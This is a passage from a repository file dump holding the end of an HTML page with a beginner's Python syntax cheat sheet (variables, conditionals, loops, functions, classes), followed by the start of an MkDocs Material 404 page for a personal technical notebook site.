style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">True</span>\r\nnumber = <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 128, 128);\">1.1</span>\r\nstring = <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;Strings can be declared with single or double quotes.&quot;</span>\r\nlist = [<span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;Lists can have&quot;</span>, <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 128, 128);\">1</span>, <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 128, 128);\">2</span>, <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 128, 128);\">3</span>, <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 128, 128);\">4</span>, <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;or more types together!&quot;</span>]\r\ntuple = (<span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;Tuples&quot;</span>, <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;can have&quot;</span>, <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;more than&quot;</span>, <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 128, 128);\">2</span>, <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;elements!&quot;</span>)\r\ndictionary = {<span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">'one'</span>: <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 128, 128);\">1</span>, <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">'two'</span>: <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 128, 128);\">2</span>, <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">'three'</span>: <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 128, 128);\">3</span>}\r\nvariable_with_zero_data = None\r\n</code></pre><h3 style=\"padding:0px;box-sizing:border-box;border:0px;margin-top:15px;color:rgb(46, 61, 73);vertical-align:baseline;margin:0px;font-family:inherit;line-height:inherit;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:18px;margin-bottom:5px;font-weight:600;\">Simple Logging</h3>\r\n<pre style=\"word-break:break-all;overflow:auto;font-size:inherit;box-sizing:border-box;display:block;font-stretch:inherit;font-weight:inherit;line-height:inherit;color:rgb(51, 51, 51);font-family:'Lucida Console', Monaco, Courier, monospace;word-wrap:break-word;font-variant:inherit;border-radius:4px;font-style:inherit;vertical-align:baseline;background-color:rgb(250, 251, 252);border:0px;margin:20px 0px;padding:20px;\" xml:space=\"preserve\"><code style=\"margin:0px;font-family:'Lucida Console', Monaco, Courier, monospace;box-sizing:border-box;line-height:inherit;font-stretch:inherit;font-weight:inherit;font-variant:inherit;font-style:inherit;border:0px;vertical-align:baseline;font-size:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0px;color:inherit;padding:0px;\"><span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 134, 179);\">print</span> <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;Printed!&quot;</span>\r\n</code></pre><h3 style=\"padding:0px;box-sizing:border-box;border:0px;margin-top:15px;color:rgb(46, 61, 73);vertical-align:baseline;margin:0px;font-family:inherit;line-height:inherit;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:18px;margin-bottom:5px;font-weight:600;\">Conditionals</h3>\r\n<pre style=\"word-break:break-all;overflow:auto;font-size:inherit;box-sizing:border-box;display:block;font-stretch:inherit;font-weight:inherit;line-height:inherit;color:rgb(51, 51, 51);font-family:'Lucida Console', Monaco, Courier, monospace;word-wrap:break-word;font-variant:inherit;border-radius:4px;font-style:inherit;vertical-align:baseline;background-color:rgb(250, 251, 252);border:0px;margin:20px 0px;padding:20px;\" xml:space=\"preserve\"><code style=\"margin:0px;font-family:'Lucida Console', Monaco, Courier, monospace;box-sizing:border-box;line-height:inherit;font-stretch:inherit;font-weight:inherit;font-variant:inherit;font-style:inherit;border:0px;vertical-align:baseline;font-size:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0px;color:inherit;padding:0px;\"><span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">if</span> cake == <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;delicious&quot;</span>:\r\n    <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 134, 179);\">return</span> <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;Yes please!&quot;</span>\r\n<span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">elif</span> cake == <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;okay&quot;</span>:\r\n    <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 134, 179);\">return</span> <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;I'll have a small piece.&quot;</span>\r\n<span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">else</span>:\r\n    <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 134, 179);\">return</span> <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;No, thank you.&quot;</span>\r\n</code></pre><h3 style=\"padding:0px;box-sizing:border-box;border:0px;margin-top:15px;color:rgb(46, 61, 73);vertical-align:baseline;margin:0px;font-family:inherit;line-height:inherit;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:18px;margin-bottom:5px;font-weight:600;\">Loops</h3>\r\n<pre style=\"word-break:break-all;overflow:auto;font-size:inherit;box-sizing:border-box;display:block;font-stretch:inherit;font-weight:inherit;line-height:inherit;color:rgb(51, 51, 51);font-family:'Lucida Console', Monaco, Courier, monospace;word-wrap:break-word;font-variant:inherit;border-radius:4px;font-style:inherit;vertical-align:baseline;background-color:rgb(250, 251, 252);border:0px;margin:20px 0px;padding:20px;\" xml:space=\"preserve\"><code style=\"margin:0px;font-family:'Lucida Console', Monaco, Courier, monospace;box-sizing:border-box;line-height:inherit;font-stretch:inherit;font-weight:inherit;font-variant:inherit;font-style:inherit;border:0px;vertical-align:baseline;font-size:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0px;color:inherit;padding:0px;\"><span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">for</span> <span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">item</span> <span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">in</span> <span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(68, 85, 136);\">list</span>:\r\n    print <span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">item</span>\r\n<span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">while</span> (total &lt; max_val):\r\n    total += values[i]\r\n    i += <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 128, 128);\">2</span>\r\n</code></pre><h3 style=\"padding:0px;box-sizing:border-box;border:0px;margin-top:15px;color:rgb(46, 61, 73);vertical-align:baseline;margin:0px;font-family:inherit;line-height:inherit;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:18px;margin-bottom:5px;font-weight:600;\">Functions</h3>\r\n<pre style=\"word-break:break-all;overflow:auto;font-size:inherit;box-sizing:border-box;display:block;font-stretch:inherit;font-weight:inherit;line-height:inherit;color:rgb(51, 51, 51);font-family:'Lucida Console', Monaco, Courier, monospace;word-wrap:break-word;font-variant:inherit;border-radius:4px;font-style:inherit;vertical-align:baseline;background-color:rgb(250, 251, 252);border:0px;margin:20px 0px;padding:20px;\" xml:space=\"preserve\"><code style=\"margin:0px;font-family:'Lucida Console', Monaco, Courier, monospace;box-sizing:border-box;line-height:inherit;font-stretch:inherit;font-weight:inherit;font-variant:inherit;font-style:inherit;border:0px;vertical-align:baseline;font-size:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0px;color:inherit;padding:0px;\"><span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">def</span> <span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(153, 0, 0);\">divide</span><span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">(dividend, divisor)</span>:</span>\r\n    quotient = dividend / divisor\r\n    remainder = dividend % divisor\r\n    <span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">return</span> quotient, remainder\r\n\r\n<span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">def</span> <span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(153, 0, 0);\">calculate_stuff</span><span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">(x, y)</span>:</span>\r\n    (q, r) = divide(x,y)\r\n    <span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">print</span> q, r\r\n</code></pre><h3 style=\"padding:0px;box-sizing:border-box;border:0px;margin-top:15px;color:rgb(46, 61, 73);vertical-align:baseline;margin:0px;font-family:inherit;line-height:inherit;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:18px;margin-bottom:5px;font-weight:600;\">Classes</h3>\r\n<pre style=\"word-break:break-all;overflow:auto;font-size:inherit;box-sizing:border-box;display:block;font-stretch:inherit;font-weight:inherit;line-height:inherit;color:rgb(51, 51, 51);font-family:'Lucida Console', Monaco, Courier, monospace;word-wrap:break-word;font-variant:inherit;border-radius:4px;font-style:inherit;vertical-align:baseline;background-color:rgb(250, 251, 252);border:0px;margin:20px 0px;padding:20px;\" xml:space=\"preserve\"><code style=\"margin:0px;font-family:'Lucida Console', Monaco, Courier, monospace;box-sizing:border-box;line-height:inherit;font-stretch:inherit;font-weight:inherit;font-variant:inherit;font-style:inherit;border:0px;vertical-align:baseline;font-size:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0px;color:inherit;padding:0px;\"><span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">class</span> <span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(68, 85, 136);\">Person</span><span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">(object)</span>:</span>\r\n    <span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">def</span> <span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(153, 0, 0);\">__init__</span><span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">(self, name, age)</span>:</span>\r\n        self.name = name\r\n        self.age = age \r\n\r\n    <span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">def</span> <span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(153, 0, 0);\">birthday</span><span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">(self)</span>:</span>\r\n        self.age += <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 128, 128);\">1</span>\r\n</code></pre>\r\n</div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div><br/></div></div></div>\r\n</body>\r\n</html>\r\n"
  },
  {
    "path": "docs/404.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n      \n      <link rel=\"icon\" href=\"/assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"/assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"/assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"/\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"/.\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              \n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"/.\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 